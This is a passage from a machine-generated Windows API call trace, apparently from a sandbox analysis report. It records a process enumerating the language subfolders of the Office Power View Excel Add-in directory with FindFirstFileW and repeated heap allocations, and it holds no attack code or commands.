Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0224.589] GetProcessHeap () returned 0xc10000 [0224.589] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.589] GetProcessHeap () returned 0xc10000 [0224.589] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.590] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0224.790] GetProcessHeap () returned 0xc10000 [0224.790] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.790] GetProcessHeap () returned 0xc10000 [0224.790] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.790] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0224.794] GetProcessHeap () returned 0xc10000 [0224.794] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.794] GetProcessHeap () returned 0xc10000 [0224.795] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.795] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0224.798] GetProcessHeap () returned 0xc10000 [0224.798] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.798] GetProcessHeap () returned 0xc10000 [0224.799] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.799] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0224.802] GetProcessHeap () returned 0xc10000 [0224.802] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.802] GetProcessHeap () returned 0xc10000 [0224.802] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.802] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0224.807] GetProcessHeap () returned 0xc10000 [0224.807] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.807] GetProcessHeap () returned 0xc10000 [0224.807] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.807] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0224.811] GetProcessHeap () returned 0xc10000 [0224.811] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.811] GetProcessHeap () returned 0xc10000 [0224.811] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.811] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0224.815] GetProcessHeap () returned 0xc10000 [0224.815] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.815] GetProcessHeap () returned 0xc10000 [0224.815] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.815] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0224.819] GetProcessHeap () returned 0xc10000 [0224.819] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.819] GetProcessHeap () returned 0xc10000 [0224.819] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.819] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0224.822] GetProcessHeap () returned 0xc10000 [0224.822] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.822] GetProcessHeap () returned 0xc10000 [0224.822] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0224.826] GetProcessHeap () returned 0xc10000 [0224.826] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.826] GetProcessHeap () returned 0xc10000 [0224.826] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0225.039] GetProcessHeap () returned 0xc10000 [0225.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.039] GetProcessHeap () returned 0xc10000 [0225.039] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.039] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0225.044] GetProcessHeap () returned 0xc10000 [0225.044] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.044] GetProcessHeap () returned 0xc10000 [0225.044] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.044] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0225.048] GetProcessHeap () returned 0xc10000 [0225.048] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.048] GetProcessHeap () returned 0xc10000 [0225.048] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0225.071] GetProcessHeap () returned 0xc10000 [0225.072] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.072] GetProcessHeap () returned 0xc10000 [0225.072] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0225.228] GetProcessHeap () returned 0xc10000 [0225.228] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.228] GetProcessHeap () returned 0xc10000 [0225.228] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.228] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0225.234] GetProcessHeap () returned 0xc10000 [0225.234] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.234] GetProcessHeap () returned 0xc10000 [0225.234] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.234] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0225.427] GetProcessHeap () returned 0xc10000 [0225.428] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.428] GetProcessHeap () returned 0xc10000 [0225.428] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0225.432] GetProcessHeap () returned 0xc10000 [0225.432] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.432] GetProcessHeap () returned 0xc10000 [0225.432] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.432] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0225.434] GetProcessHeap () returned 0xc10000 [0225.434] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.435] GetProcessHeap () returned 0xc10000 [0225.435] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0225.441] GetProcessHeap () returned 0xc10000 [0225.441] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.441] GetProcessHeap () returned 0xc10000 [0225.441] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.441] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0225.447] GetProcessHeap () returned 0xc10000 [0225.447] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.447] GetProcessHeap () returned 0xc10000 [0225.447] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0225.451] GetProcessHeap () returned 0xc10000 [0225.451] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.451] GetProcessHeap () returned 0xc10000 [0225.451] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.451] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0225.455] GetProcessHeap () returned 0xc10000 [0225.455] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.455] GetProcessHeap () returned 0xc10000 [0225.455] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.455] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0225.458] GetProcessHeap () returned 0xc10000 [0225.458] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.458] GetProcessHeap () returned 0xc10000 [0225.458] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.458] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0225.461] GetProcessHeap () returned 0xc10000 [0225.461] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.461] GetProcessHeap () returned 0xc10000 [0225.461] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.461] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0225.464] GetProcessHeap () returned 0xc10000 [0225.464] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.464] GetProcessHeap () returned 0xc10000 [0225.464] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.464] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0225.468] 